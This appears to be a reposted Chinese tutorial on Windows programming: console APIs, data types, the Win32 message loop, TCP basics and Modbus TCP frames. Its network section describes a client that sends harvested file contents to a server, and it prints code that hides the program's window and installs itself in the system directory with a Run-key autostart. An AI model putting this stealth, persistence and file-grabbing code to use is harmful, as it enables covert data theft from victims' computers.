Windows編程上

Windows編程[上]

  • 一、Windows API
    • 1.控制臺大小設置
      • 1.1 GetStdHandle
      • 1.2 SetConsoleWindowInfo
      • 1.3 SetConsoleScreenBufferSize
      • 1.4 SetConsoleTitle
      • 1.5 封裝為Innks
    • 2.控制臺字體設置以及光標調整
      • 2.1 GetConsoleCursorInfo
      • 2.2 SetConsoleCursorPosition
      • 2.3 GetCurrentConsoleFontEx
      • 2.4 修改Innks以便用戶輸入字體設置
    • 3. 緩沖區字符
      • 3.1 SetConsoleTextAttribute
      • 3.2 WriteConsoleOutput
      • 3.3 設計按鈕控件
  • 二、Windows 數據類型
    • 1.基本數據類型
      • 1.1 字符類型
      • 1.2 **整型**
      • 1.3 字符串型
    • 2.常見的Windows數據類型
    • 3.特殊數據類型
    • 4.編碼規范
  • 三、Windows應用程序
    • 1.WinMain 應用程序入口點
    • 2.WNDCLASS結構
    • 3.大致框架
    • 4.概念介紹
      • 4.1 窗口與句柄
      • 4.2 消息循環
      • 4.3 窗口過程函數(Window Procedure)
      • 4.4 總結
  • 四、網絡篇
    • 1.TCP和UDP
        • TCP的主要特性
        • UDP的主要特性
    • 2.listen的參數含義
    • 3.改進recv和send函數
    • 4.截取文件內容客戶端
    • 5.截取文件內容服務器
    • 6.截取文件內容客戶端隱藏自身和自啟動(通用模板)
      • 6.1 通用錯誤處理函數
      • 6.2 隱藏自身
      • 6.3 自啟動
    • 7.modbusTCP
      • 7.1 Modbus 通信模型
      • 7.2 Modbus TCP 幀結構
      • 7.3 數據模型
      • 7.4 功能碼(Function Codes)
      • 7.5 構建幀

微軟開發文檔地址

Windows 程序設計:以 C++類的形式封裝了 Windows API,并且包含一個應用程序框架,以減少應用程序開發人員的工作量。包含大量 Windows 句柄封裝類和很多 Windows 的內建控件和組件的封裝類。專心的考慮程序的邏輯,而不是這些每次編程都要重復的東西,但是由于是通用框架,沒有最好的針對性。

C/C++編程:僅產生少量的機器語言以及不需要任何運行環境支持便能運行的高效率程序設計語言。依靠非常全面的運算符和多樣的數據類型,可以容易完成各種數據結構的構建,通過指針類型可對內存直接尋址以及對硬件進行直接操作,因此既能夠用于開發系統程序,也可用于開發應用軟件。

VA 的常用快捷鍵:

  • ALT+G 調到定義
  • ALT + SHIFT + F 查找所有引用
  • ALT + 左箭頭/右箭頭:回退/前進

一、Windows API

微軟官方文檔地址

image-20240630113236120

image-20240630113424079

image-20240701082709929

1.控制臺大小設置

image-20240630143527053

image-20240630140726490

1.1 GetStdHandle

GetStdHandle 是 Windows API 中的一個函數,用于獲取標準輸入、標準輸出或標準錯誤的句柄。這些句柄可以用于控制臺應用程序與用戶進行交互時的輸入和輸出操作。

image-20240630140504312

image-20240630140550984

image-20240630144149808

1.2 SetConsoleWindowInfo

設置控制臺屏幕緩沖區窗口的當前大小和位置。

image-20240630144325543

image-20240630144433795

image-20240630145118850

矩形的寬度 = Right - Left + 1

矩形的高度 = Bottom - Top + 1

image-20240630145202903

1.3 SetConsoleScreenBufferSize

設置控制臺緩沖區大小。

image-20240630145636015

1.4 SetConsoleTitle

設置控制臺窗口標題。

image-20240630145727386

1.5 封裝為Innks

總體設計如下,除了設置寬、高、窗口名以外,我們還定義了一個回調函數的格式,讓用戶可以通過自定義的回調函數來對不同的錯誤類型進行處理。

image-20240630163534013

image-20240630163650493

在每次遇到返回值處理的時候,我們都交給用戶傳入的函數來進行相應處理。

image-20240630163741840

當再次調整緩沖區大小為窗口大小的時候,會發現窗口寬和高各留了一個像素,這個其實是滾動條消失了,但是給滾動條預留的大小還存在窗口中,需要重新設置一下窗口大小。

image-20240630161820727

image-20240630164019618

2.控制臺字體設置以及光標調整

image-20240630163416892

image-20240630163437327

2.1 GetConsoleCursorInfo

獲得有關指定控制臺屏幕緩沖區的游標大小和可見性的信息。

image-20240630164326333

image-20240630164349024

image-20240630164829045

2.2 SetConsoleCursorPosition

設置指定控制臺屏幕緩沖區中的光標位置。

image-20240630165126249

image-20240630165400869

2.3 GetCurrentConsoleFontEx

檢索有關當前控制臺字體的擴展信息。

image-20240630195329992

image-20240630195527844

image-20240630200304442

image-20240630201548573

image-20240630201504263

2.4 修改Innks以便用戶輸入字體設置

image-20240630202453231

image-20240630202500246

image-20240630202556668

image-20240630202614926

3. 緩沖區字符

image-20240701095950597

image-20240701083604687

3.1 SetConsoleTextAttribute

設置由 WriteFileWriteConsole 函數寫入控制臺屏幕緩沖區或由 ReadFileReadConsole 函數回顯的字符的屬性。 此函數會影響在函數調用后寫入的文本。

image-20240701095736052

image-20240701095807627

image-20240701101313659

3.2 WriteConsoleOutput

將字符和顏色屬性數據寫入控制臺屏幕緩沖區中字符單元的指定矩形塊。 要寫入的數據取自源緩沖區中指定位置相應大小的矩形塊。

image-20240701100100839

參數說明:

lpBuffer:

  • 類型: const CHAR_INFO*
  • 描述: 指向一個包含要寫入控制臺屏幕緩沖區的字符和屬性數據的緩沖區。該緩沖區是一個二維數組,使用 CHAR_INFO 結構來表示每個字符及其屬性。

dwBufferCoord

  • 類型: COORD
  • 描述: 定義 lpBuffer 緩沖區中要寫入數據的區域的左上角坐標。這個坐標是相對于 lpBuffer 緩沖區的(而不是控制臺屏幕緩沖區)。

image-20240701102842071

3.3 設計按鈕控件

關于文字的顏色。每種顏色對應一位,一共有4bit表示顏色,所以是16種。

image-20240701103217953

image-20240701103741836

image-20240701113133698

image-20240701113250428

image-20240701113259843

如果我們僅僅使用 PCHAR dst,在函數內部對 dst 的修改不會影響外部傳入的指針,這意味著我們不能在函數內分配新的內存并讓外部變量指向這塊內存。而使用 PCHAR& dst,我們就可以在函數內部分配新內存,并使外部指針指向這塊新內存。當 dst 是空指針時,需要在函數內部分配新的內存并讓 dst 指向這塊新內存。這時因為需要修改 dst 指針本身,所以需要傳入指針的引用(PCHAR&)或者使用指針的指針(PCHAR*)。

image-20240701113334955

image-20240701113051643

二、Windows 數據類型

1.基本數據類型

1.1 字符類型

Unicode: Unicode 是一種字符編碼標準,使用 16 位數據表示一個字符,共可以表示 65535 種字符。它支持全球大部分語言的字符。

ANSI: ANSI 字符集使用 8 位數據或將相鄰的兩個 8 位的數據組合在一起表示特殊的語言字符。如果一個字節是負數,則將其后續的一個字節組合在一起表示一個字符。這種編碼方式的字符集也稱作“多字節”字符集。

在開發中文應用程序時,通常建議使用 Unicode 編碼集。

  • Unicode 支持全球幾乎所有語言的字符,這使得您的應用程序不僅可以處理中文,還可以輕松擴展支持其他語言,便于國際化。

  • Windows 操作系統內部大量使用 Unicode,使用 Unicode 可以避免多字節編碼集(如 ANSI)和 Unicode 之間的轉換問題,減少編碼錯誤,提高應用程序的穩定性。

  • 現代的 Windows API 大多數都推薦使用 Unicode 版本(以 W 結尾的函數),而 ANSI 版本(以 A 結尾的函數)主要是為了兼容老的系統和應用程序。使用 Unicode 可以確保應用程序在未來的 Windows 版本中有更好的兼容性。

1.2 整型

  • INT: 表示整數類型,通常占用 4 個字節。
  • UINT: 表示無符號整數類型,通常占用 4 個字節。
  • SHORT: 表示短整數類型,通常占用 2 個字節。
  • USHORT: 表示無符號短整數類型,通常占用 2 個字節。
  • LONG: 表示長整數類型,通常占用 4 個字節。
  • ULONG: 表示無符號長整數類型,通常占用 4 個字節。
  1. 浮點型
    • FLOAT: 表示單精度浮點數類型,通常占用 4 個字節。
    • DOUBLE: 表示雙精度浮點數類型,通常占用 8 個字節。
  2. 布爾型
    • BOOL: 表示布爾類型,通常占用 4 個字節。取值為 TRUE(1)FALSE(0)

1.3 字符串型

  1. LPCSTR
  • 含義: Windows ANSI 字符串常量(指向常量字符串的指針)。
  • 用途: 指向一個以 null 結尾的 ANSI 字符串,通常用于函數參數。

? 2.LPCWSTR

  • 含義: Unicode 字符串常量(指向常量寬字符字符串的指針)。
  • 用途: 指向一個以 null 結尾的 Unicode 字符串,通常用于函數參數。

? 3.LPCTSTR

  • 含義: 根據環境配置,如果定義了 UNICODE 宏,則是 LPCWSTR 類型,否則是 LPCSTR 類型。
  • 用途: 用于兼容 Unicode 和 ANSI 的字符串常量指針。
  1. LPDWORD
  • 含義: 指向 DWORD 類型數據的指針。
  • 用途: 指向一個 32 位無符號整數,通常用于函數參數傳遞地址。
  1. LPSTR
  • 含義: Windows ANSI 字符串變量(指向字符串的指針)。
  • 用途: 指向一個以 null 結尾的 ANSI 字符串,可以被修改。

? 6.LPWSTR

  • 含義: Unicode 字符串變量(指向寬字符字符串的指針)。
  • 用途: 指向一個以 null 結尾的 Unicode 字符串,可以被修改。

? 7.LPTSTR

  • 含義: 根據環境配置,如果定義了 UNICODE 宏,則是 LPWSTR 類型,否則是 LPSTR 類型。
  • 用途: 用于兼容 Unicode 和 ANSI 的字符串指針,可以被修改。

2.常見的Windows數據類型

  1. 句柄類型
    • HANDLE: 用于表示各種對象的句柄,如文件、窗口、菜單等。
    • HWND: 表示窗口句柄。
    • HDC: 表示設備上下文句柄,用于繪圖操作。
    • HINSTANCE: 表示應用程序實例句柄。
  2. 消息和時間類型
    • WPARAM: 表示消息的附加信息,通常用于傳遞額外的數據,大小與指針相同。
    • LPARAM: 表示消息的附加信息,通常用于傳遞額外的數據,大小與指針相同。
    • LRESULT: 表示消息處理的返回值,大小與指針相同。
    • DWORD: 表示雙字類型,通常用于計時器或標志位,大小為 4 個字節。
  3. 指針類型
    • LPCTSTR: 指向常量字符串的指針(適用于 Unicode 或 ANSI 字符)。
    • LPTSTR: 指向字符串的指針(適用于 Unicode 或 ANSI 字符)。
    • LPVOID: 指向任意類型的指針。

3.特殊數據類型

  1. RECT
    • 表示矩形區域,包含四個整數值:lefttoprightbottom
  2. POINT
    • 表示二維點,包含兩個整數值:xy
  3. SIZE
    • 表示尺寸,包含兩個整數值:cx(寬度)和 cy(高度)。
  4. COLORREF
    • 表示顏色值,通常用 RGB 值表示。

4.編碼規范

前綴含義前綴含義
a數組 arrayb布爾值 bool
by無符號字符(字節)c字符(字節)
cb字節計數rgb保存顏色值的長整型
cx,cy短整型(計算 x,y 的長度)dw無符號長整型
fn函數h句柄
i整形(integer)m_類的數據成員 member
n短整型或整型np近指針
p指針(pointer)l長整型(long)
lp長指針s字符串 string
sz以零結尾的字符串tm正文大小
w無符號整型x,y無符號整型(表示 x,y 的坐標)

三、Windows應用程序

1.WinMain 應用程序入口點

image-20240630092123927

image-20240630092326097

image-20240630092341482

_stdcall 調用約定:

  1. 參數傳遞順序

    參數從右到左進行壓棧。也就是說,最后一個參數最先被壓入堆棧。

  2. 堆棧清理

    調用該函數的代碼負責傳遞參數,但函數自身負責清理堆棧。這與 __cdecl 調用約定不同,__cdecl 是由調用者負責清理堆棧。

  3. 名稱修飾

    使用 _stdcall 調用約定的函數在編譯時會進行名稱修飾,函數名通常會被前綴一個下劃線并在后面加上 @ 和參數的字節數。例如:

    int WINAPI MyFunction(int a, int b);
    

    將被編譯器修飾為 _MyFunction@8。

2.WNDCLASS結構

image-20240630093245335

WNDCLASS 是 Win32 編程中定義窗口類的結構體,用于注冊窗口類以便創建窗口。

  1. style
  • 類型: UINT
  • 含義: 窗口類的風格,可以是多個風格的組合,用 | 運算符連接。
  • 常用值:
    • CS_HREDRAW: 水平大小改變時重繪整個窗口。
    • CS_VREDRAW: 垂直大小改變時重繪整個窗口。
    • CS_OWNDC: 每個窗口有自己的設備上下文。
  1. lpfnWndProc
  • 類型: WNDPROC
  • 含義: 指向窗口過程函數的指針,定義窗口如何響應各種消息。
  • 用法: 必須提供一個自定義的窗口過程函數,處理諸如 WM_PAINTWM_DESTROY 等消息。
  1. cbClsExtra
  • 類型: int
  • 含義: 分配給窗口類的額外內存字節數。
  • 用法: 通常設為 0,除非需要為窗口類分配額外內存。
  1. cbWndExtra
  • 類型: int
  • 含義: 分配給每個窗口實例的額外內存字節數。
  • 用法: 通常設為 0,除非需要為每個窗口實例分配額外內存。
  1. hInstance
  • 類型: HINSTANCE
  • 含義: 應用程序實例句柄。
  • 用法: 通常使用 GetModuleHandle(NULL) 獲取當前應用程序實例句柄。
  1. hIcon
  • 類型: HICON
  • 含義: 窗口類的圖標句柄。
  • 用法: 可以使用 LoadIcon 加載圖標資源。
  1. hCursor
  • 類型: HCURSOR
  • 含義: 窗口類的光標句柄。
  • 用法: 可以使用 LoadCursor 加載光標資源。
  1. hbrBackground
  • 類型: HBRUSH
  • 含義: 窗口背景刷句柄,用于繪制窗口背景。
  • 用法: 可以使用系統預定義的刷子,如 (HBRUSH)(COLOR_WINDOW+1)
  1. lpszMenuName
  • 類型: LPCTSTR
  • 含義: 窗口類的菜單名稱。
  • 用法: 如果窗口類有一個菜單,可以在這里指定菜單資源名稱,否則設為 NULL
  1. lpszClassName
  • 類型: LPCTSTR
  • 含義: 窗口類名稱,用于唯一標識窗口類。
  • 用法: 必須提供一個獨特的名稱,通常是一個字符串常量。

3.大致框架

image-20240701144408613

image-20240701144421720

image-20240701144429569

image-20240701144446280

4.概念介紹

4.1 窗口與句柄

窗口(Window):窗口是 Windows 操作系統的一個基本組成部分,它代表了用戶界面的一部分。幾乎所有的用戶界面元素(如按鈕、文本框、列表框等)都是窗口。可以顯示信息、接收用戶輸入等。

MFC 提供了一組類來表示不同類型的窗口,這些類都派生自 CWnd 類。以下是一些常見的 MFC 窗口類:

  • CFrameWnd:用于表示主框架窗口。
  • CDialog:用于表示對話框窗口。
  • CView:用于表示視圖窗口,通常與文檔-視圖架構(Document/View Architecture)一起使用。
  • CButtonCEditCListBox 等:用于表示各種控件窗口。

句柄(Handle):句柄是一個唯一的整數值,用于標識 Windows 系統中的對象。句柄可以看作是對象的標識符,允許應用程序與操作系統進行交互而不必了解對象的內部結構。

常見的句柄類型:

  • 窗口句柄(HWND):表示窗口對象的句柄。
  • 設備上下文句柄(HDC):表示設備上下文的句柄,用于繪圖操作。
  • 實例句柄(HINSTANCE):表示應用程序實例的句柄。
  • 菜單句柄(HMENU):表示菜單的句柄。

在 MFC 中,每個窗口對象都有一個對應的窗口句柄(HWND)。窗口句柄是由 Windows 操作系統分配的,用于唯一標識窗口。

窗口對象:窗口對象是系統內部用來管理窗口狀態和行為的數據結構。通過窗口句柄,可以訪問窗口對象并對其進行操作,如顯示窗口、更新窗口內容等。

4.2 消息循環

消息(Message):在 Win32 編程中,系統通過消息機制與窗口通信。每當發生用戶輸入(如鼠標點擊、鍵盤輸入)或系統事件(如窗口大小改變),系統會生成相應的消息并將其發送給窗口。

消息循環(Message Loop):消息循環是一個循環結構,用于從消息隊列中獲取消息并將其分派給窗口過程函數進行處理。

消息循環的基本流程如下:

  1. 獲取消息:從應用程序的消息隊列中獲取下一條消息。
  2. 翻譯消息:將虛擬鍵消息(如鍵盤輸入)翻譯為字符消息。
  3. 分發消息:將消息分發給相應的窗口過程進行處理。
  4. 處理消息:窗口過程處理消息,并執行相應的操作。

在傳統的 Windows 應用程序中,消息循環通常如下所示:

MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{TranslateMessage(&msg);DispatchMessage(&msg);
}

4.3 窗口過程函數(Window Procedure)

在 Windows 編程中,窗口過程函數(Window Procedure)是一個非常重要的概念。窗口過程函數是處理窗口消息的核心函數,每當窗口接收到消息時,操作系統都會調用這個函數。每個窗口類都有一個窗口過程函數,定義窗口如何響應各種消息。

4.4 總結

Win32 應用程序開發涉及以下步驟:

  1. 注冊窗口類。
  2. 創建窗口實例。
  3. 顯示和更新窗口。
  4. 運行消息循環。
  5. 定義窗口過程函數處理消息。

四、網絡篇

1.TCP和UDP

TCP的主要特性
  • 連接導向:TCP是一個面向連接的協議。在傳輸數據之前,需要建立一個連接。這個過程包括三次握手(Three-way Handshake)。
  • 可靠傳輸:通過確認(ACK)和重傳機制保證數據的可靠傳輸。
  • 數據流控制:通過滑動窗口機制實現流量控制,防止發送方發送速度過快導致接收方無法處理。
  • 擁塞控制:采用慢啟動、擁塞避免、快重傳和快恢復等算法進行擁塞控制。
  • 無邊界數據流:TCP把數據視為一個連續的數據流,沒有數據邊界的概念。

TCP協議中不存在數據邊界的概念意味著,TCP將數據視為一個連續的字節流,而不是一個個獨立的數據包。在傳輸過程中,數據被分割成段(segment),每個段包含一部分數據流中的字節,但TCP并不關心這些段的邊界。

建立TCP連接時,需要進行三次握手過程,以確保雙方都準備好并且能夠進行通信。

  • 第一次握手:客戶端發送SYN(同步序列編號)包,表明客戶端希望建立連接,并且客戶端的初始序列號(Sequence Number,Seq)為X。
  • 第二次握手:服務器收到SYN包后,回復一個SYN-ACK包。這個包中包含服務器的初始序列號Y,并確認客戶端的序列號(ACK = X+1)。
  • 第三次握手:客戶端收到SYN-ACK包后,發送一個ACK包,確認服務器的序列號(ACK = Y+1)。此時,連接建立。

關閉TCP連接需要四次揮手過程,確保雙方都完成了數據傳輸并且準備關閉連接。

  • 第一次揮手:客戶端發送FIN包,表示不再發送數據,但仍可接收數據。
  • 第二次揮手:服務器收到FIN包后,回復ACK包,確認收到客戶端的FIN包。
  • 第三次揮手:服務器發送FIN包,表示不再發送數據。
  • 第四次揮手:客戶端收到服務器的FIN包后,回復ACK包,確認收到服務器的FIN包,連接關閉。
UDP的主要特性
  • 無連接:在傳輸數據之前不需要建立連接,每個數據報獨立傳輸。
  • 不可靠:不保證數據報的到達,不進行確認和重傳。
  • 無序:不保證數據報按順序到達,數據報可能亂序到達。
  • 數據報邊界:UDP將數據看作一個個獨立的數據報,每個數據報有明確的邊界。
  • 低開銷:由于不需要連接管理和可靠性保證,UDP的開銷比TCP低。

2.listen的參數含義

listen 函數用于將套接字設置為被動模式,準備接受連接請求。其原型如下:

int listen(int sockfd, int backlog);
  • backlog:指定完全建立的連接和半連接的隊列長度。

backlog 參數指定了內核為這個套接字維護的連接請求隊列的最大長度。這個隊列包含了已完成的連接和等待完成的連接(半連接)。

我們可以將連接請求隊列分為兩個部分:

  1. 半連接隊列(Syn Queue):存放那些已經發送了 SYN 報文但還沒有完成三次握手的連接請求。
  2. 完全連接隊列(Accept Queue):存放那些已經完成三次握手,等待被 accept 函數處理的連接。

假設 backlog 設置為 5,表示服務器最多能同時處理 5 個連接請求:

  • 當有第 6 個連接請求到達時,如果完全連接隊列已經滿了,這個請求會被拒絕。
  • 只有當服務器調用 accept 函數并從完全連接隊列中移除一個連接后,新的連接請求才能進入這個隊列。

image-20240701165502593

當我們通過多個客戶端連接服務器的時候,只有前五個連接成功了,后面的都是錯誤10061。

image-20240701165550633

也就是說,服務器拒絕連接。

3.改進recv和send函數

image-20240701193116275

image-20240701193121516

4.截取文件內容客戶端

image-20240702084603399

image-20240702084918510

先實現一個找到文件夾中所有文件的函數。
image-20240702090658555

image-20240702090713334

找到文件后,發送文件內容給指定服務器。

image-20240702181332218

image-20240702181408211

5.截取文件內容服務器

image-20240702182154012

image-20240702182101416

6.截取文件內容客戶端隱藏自身和自啟動(通用模板)

6.1 通用錯誤處理函數

void ErrorHandling(const char* format, ...) 
{va_list args;va_start(args, format);vfprintf(stderr, format, args); // 格式化輸出錯誤信息到標準錯誤流va_end(args);fputc('\n', stderr); exit(1); 
}

6.2 隱藏自身

void HideMyself()
{//拿到當前的窗口句柄HWND hwnd = GetForegroundWindow();//隱藏當前窗口ShowWindow(hwnd, SW_HIDE);
}

6.3 自啟動

void AddToSystem(const char* programName) {HKEY hKEY;char CurrentPath[MAX_PATH];char SysPath[MAX_PATH];long ret = 0;LPSTR FileNewName;LPSTR FileCurrentName;DWORD type = REG_SZ;DWORD size = MAX_PATH;LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";// 獲取系統目錄GetSystemDirectory(SysPath, size);// 獲取當前程序路徑GetModuleFileName(NULL, CurrentPath, size);// 復制文件FileCurrentName = CurrentPath;FileNewName = strcat(SysPath, "\\");FileNewName = strcat(FileNewName, programName);struct _finddata_t Steal;cout << "ret1 = " << ret << endl;if (_findfirst(FileNewName, &Steal) != -1) {// 已經安裝cout << "ret2 = " << ret << endl;return;}int ihow = MessageBox(0,"該程序僅用于合法目的的運行!\n""按“取消”退出。\n""按“是”按鈕將復制到您的計算機上,并隨系統啟動自動運行。\n""按“否”按鈕,程序只運行一次,不會在您的系統內留下任何痕跡。","警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);if (ihow == IDCANCEL)exit(0);if (ihow == IDNO) {// 只運行一次return;}// 復制文件ret = CopyFile(FileCurrentName, FileNewName, TRUE);if (!ret) {cout << "文件復制失敗" << endl;return;}// 加入注冊表cout << "ret = " << ret << endl;ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hKEY);if (ret != ERROR_SUCCESS) {cout << "無法打開注冊表項" << endl;RegCloseKey(hKEY);return;}// 設置注冊表值ret = RegSetValueEx(hKEY, "MyProgram", 0, type, (const unsigned char*)FileNewName, size);if (ret != ERROR_SUCCESS) {cout << "無法設置注冊表值" << endl;RegCloseKey(hKEY);return;}RegCloseKey(hKEY);cout << "程序成功添加到啟動項" << endl;
}

7.modbusTCP

Modbus TCP協議通常在應用層實現。在Modbus TCP中,每個數據包由一個MBAP頭和一個PDU(協議數據單元)組成。MBAP頭包含事務ID、協議ID、長度和單元ID。PDU則包含功能碼和數據。

7.1 Modbus 通信模型

  • 主/從(Master/Slave)模型:在 Modbus 通信中,通常由一個主設備(Master)和一個或多個從設備(Slave)組成。主設備發出請求,從設備響應。
  • 客戶端/服務器(Client/Server)模型:在 Modbus TCP 中,客戶端(Client)類似于傳統 Modbus 中的主設備,而服務器(Server)類似于從設備。客戶端發出請求,服務器響應。

7.2 Modbus TCP 幀結構

  • Modbus TCP 的消息框架

    基于 Modbus RTU/ASCII 的消息框架,并在其前面加上一個 Modbus TCP 的特定頭(MBAP Header)。

    MBAP 頭包含以下字段:

    • Transaction Identifier(2 字節):由客戶端生成,用于匹配請求和響應。
    • Protocol Identifier(2 字節):總是為 0,表示 Modbus 協議。
    • Length(2 字節):表示剩余消息的長度(包括單元標識符和數據)。
    • Unit Identifier(1 字節):用于標識遠程從設備,在 Modbus TCP 中通常為 0。
  • Modbus PDU(Protocol Data Unit):緊隨 MBAP 頭之后,包括功能碼和數據。

7.3 數據模型

Modbus 協議使用以下數據模型:

  1. 離散輸出(線圈,Coils):單個位,可以讀寫。
  2. 離散輸入(Discrete Inputs):單個位,只讀。
  3. 保持寄存器(Holding Registers):16位寄存器,可以讀寫。
  4. 輸入寄存器(Input Registers):16位寄存器,只讀。

這些寄存器的地址范圍通常為 0 到 65535。

7.4 功能碼(Function Codes)

Modbus 協議定義了一組功能碼,用于指定不同的操作,例如讀寫寄存器或線圈。常見的功能碼包括:

  1. 0x01:讀線圈(Read Coils)
  2. 0x02:讀離散輸入(Read Discrete Inputs)
  3. 0x03:讀保持寄存器(Read Holding Registers)
  4. 0x04:讀輸入寄存器(Read Input Registers)
  5. 0x05:寫單個線圈(Write Single Coil)
  6. 0x06:寫單個保持寄存器(Write Single Register)
  7. 0x0F:寫多個線圈(Write Multiple Coils)
  8. 0x10:寫多個保持寄存器(Write Multiple Registers)

7.5 構建幀

Modbus TCP協議遵循大端(Big-endian)字節序,即高位字節在前,低位字節在后。

在這里插入圖片描述

事務處理標識假設它的值是 0x0001

query[0] = 0x0001 >> 8;   // 獲取高字節,0x00
query[1] = 0x0001 & 0xFF; // 獲取低字節,0x01

協議標識:固定為 0x0000

query[2] = 0x0000 >> 8; // 獲取高字節,0x00
query[3] = 0x0000 & 0xFF; // 獲取低字節,0x00

長度:假設它的值是 0x0006

query[4] = 0x0006 >> 8; // 獲取高字節,0x00
query[5] = 0x0006 & 0xFF; // 獲取低字節,0x06

單元標識符:假設它的值是 0x01

query[6] = 0x01;

功能碼:假設它的值是 0x03

query[7] = function_code; // 0x03

開始地址:假設它的值是 0x0000

query[8] = 0x0000 >> 8; // 獲取高字節,0x00
query[9] = 0x0000 & 0xFF; // 獲取低字節,0x00

寄存器個數:假設它的值是 0x000A

query[10] = 0x000A >> 8; // 獲取高字節,0x00
query[11] = 0x000A & 0xFF; // 獲取低字節,0x0A

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/39427.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/39427.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/39427.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

python如何輸出list

直接輸出list_a中的元素三種方法&#xff1a; list_a [1,2,3,313,1] 第一種 for i in range(len(list_a)):print(list_a[i]) 1 2 3 313 1 第二種 for i in list_a:print(i) 1 2 3 313 1 第三種&#xff0c;使用enumerate輸出list_a方法&#xff1a; for i&#xff0c;j in enum…

Redis的使用(二)redis的命令總結

1.概述 這一小節&#xff0c;我們主要來研究一下redis的五大類型的基本使用&#xff0c;數據類型如下&#xff1a; redis我們接下來看一看這八種類型的基本使用。我們可以在redis的官網查詢這些命令:Commands | Docs,同時我們也可以用help 數據類型查看命令的幫助文檔。 2. 常…

數據結構 - C/C++ - 串

字符處理 C 特性 C語言中字符串存儲在字符數組中&#xff0c;以空字符\0結束。 字符串常量&#xff0c;const char* str "Hello"&#xff0c;存儲在只讀的數據段中。 布局 字符串在內存中是字符連續存儲的集合&#xff0c;最后一個字符為空字符(ASCII值為0)&…

opencascade AIS_InteractiveContext源碼學習7 debug visualization

AIS_InteractiveContext 前言 交互上下文&#xff08;Interactive Context&#xff09;允許您在一個或多個視圖器中管理交互對象的圖形行為和選擇。類方法使這一操作非常透明。需要記住的是&#xff0c;對于已經被交互上下文識別的交互對象&#xff0c;必須使用上下文方法進行…

【問題已解決】Vue管理后臺,點擊登錄按鈕,會發起兩次網絡請求(竟然是vscode Compile Hero編譯插件導致的)

問題 VueElement UI 做的管理后臺&#xff0c;點擊登錄按鈕&#xff0c;發現 接口會連續掉兩次&#xff0c;發起兩次網絡請求&#xff0c;但其他接口都是正常調用的&#xff0c;沒有這個問題&#xff0c;并且登錄按鈕也加了loading&#xff0c;防止重復點擊&#xff0c;于是開…

搜索引擎常用語法

引號 (" "): 用雙引號將詞組括起來&#xff0c;搜索引擎將返回包含完全相同短語的結果。 示例&#xff1a;"人工智能發展趨勢" 減號 (-): 在關鍵詞前加上減號可以排除包含特定詞語的結果。 示例&#xff1a;人工智能 -機器學習&#xff08;排除包含 “機器…

樸素貝葉斯解密:sklearn中的分類器工作原理

&#x1f4da; 樸素貝葉斯解密&#xff1a;sklearn中的分類器工作原理 在機器學習領域&#xff0c;樸素貝葉斯分類器因其簡單、高效而廣受歡迎。特別是在處理大量特征數據時&#xff0c;樸素貝葉斯表現出了卓越的性能。scikit-learn&#xff08;簡稱sklearn&#xff09;是Pyth…

JavaMySQL 學習(基礎)

目錄 Java CMD Java發展 計算機存儲規則 Java學習 switch新用法&#xff08;可以當做if來使用&#xff09; 數組定義 隨機數 Java內存分配 MySQL MySQL概述 啟動和停止 客戶端連接 數據模型 關系型數據庫 SQL SQL通用語法 SQL分類 DDL--數據定義語言 數據庫…

瀏覽器開發者工具輔助爬蟲開發

文章目錄 瀏覽器開發者工具輔助爬蟲開發打開開發者工具使用Network面板分析請求數據示例步驟&#xff1a; 使用Elements面板查看和修改DOM結構示例步驟&#xff1a; 使用Console面板調試JavaScript代碼示例步驟&#xff1a;示例代碼&#xff1a;1. 輸出日志信息2. 輸出對象信息…

Vue 與 React 區別

Vue.js和React是現代Web開發中兩種非常流行的前端框架&#xff0c;兩者在**核心概念、組件以及生態系統擴展性**等方面存在區別。具體分析如下&#xff1a; 1. **核心概念** - **Vue**&#xff1a;Vue是一個漸進式JavaScript框架&#xff0c;它致力于視圖層&#xff0c;易于上手…

左值右值, 左值引用右值引用,完美轉發

一. 左值和右值 左值: 可以取地址的對象 右值: 不可以取地址的對象 double x1.0, y 2.0; 1; // 字面量, 不可取地址, 是右值 x y; // 表達式返回值, 不可取地址, 是右值 max(x, y); // 傳值返回函數的返回值 (非引用返回)總結就是: 根據是否可以取地址來區分是左值還…

線程池666666

1. 作用 線程池內部維護了多個工作線程&#xff0c;每個工作線程都會去任務隊列中拿取任務并執行&#xff0c;當執行完一個任務后不是馬上銷毀&#xff0c;而是繼續保留執行其它任務。顯然&#xff0c;線程池提高了多線程的復用率&#xff0c;減少了創建和銷毀線程的時間。 2…

git修改已提交的commit注釋

在Git中修改已經提交的commit注釋通常有以下幾種情況和相應的方法&#xff1a; 1. 修改最后一次提交的注釋&#xff08;快速修正&#xff09; 如果你想要修改的是最后一次提交的注釋&#xff0c;可以使用 --amend 選項&#xff1a; git commit --amend這個命令會將你的暫存區…

基于深度學習的光度檢測

基于深度學習的光度檢測&#xff08;Photometric Detection&#xff09;涉及從圖像中檢測和分析光照信息&#xff0c;用于多種應用&#xff0c;如場景理解、照明調節、增強現實&#xff08;AR&#xff09;、圖像增強等。以下是關于這一領域的系統介紹&#xff1a; 1. 任務和目…

JAVA基礎教程DAY1-類與方法及形參實參

首先經過C語言的學習&#xff0c;我們已經學會了基本的編程方法&#xff0c;我們知道C語言是面向過程的編程語言&#xff0c;而JAVA是面向對象的編程語言&#xff0c;所以接下來我們通過對比和舉例來進行JAVA語言的學習 首先我們來講類的概念 類&#xff1a;類是一個模板&…

Ubuntu開通5005端口 記錄

Ubuntu版本&#xff1a;20.04 使用systemctl status firewalld查看防火墻狀態&#xff0c;報錯Unit firewalld.service could not be found 報錯的原因是沒有安裝firewall&#xff0c;安裝命令為sudo apt install firewalld&#xff0c;然后進行安裝 安裝完成后輸入systemctl…

vscode jupyter選擇Python環境時找不到我安裝的Python

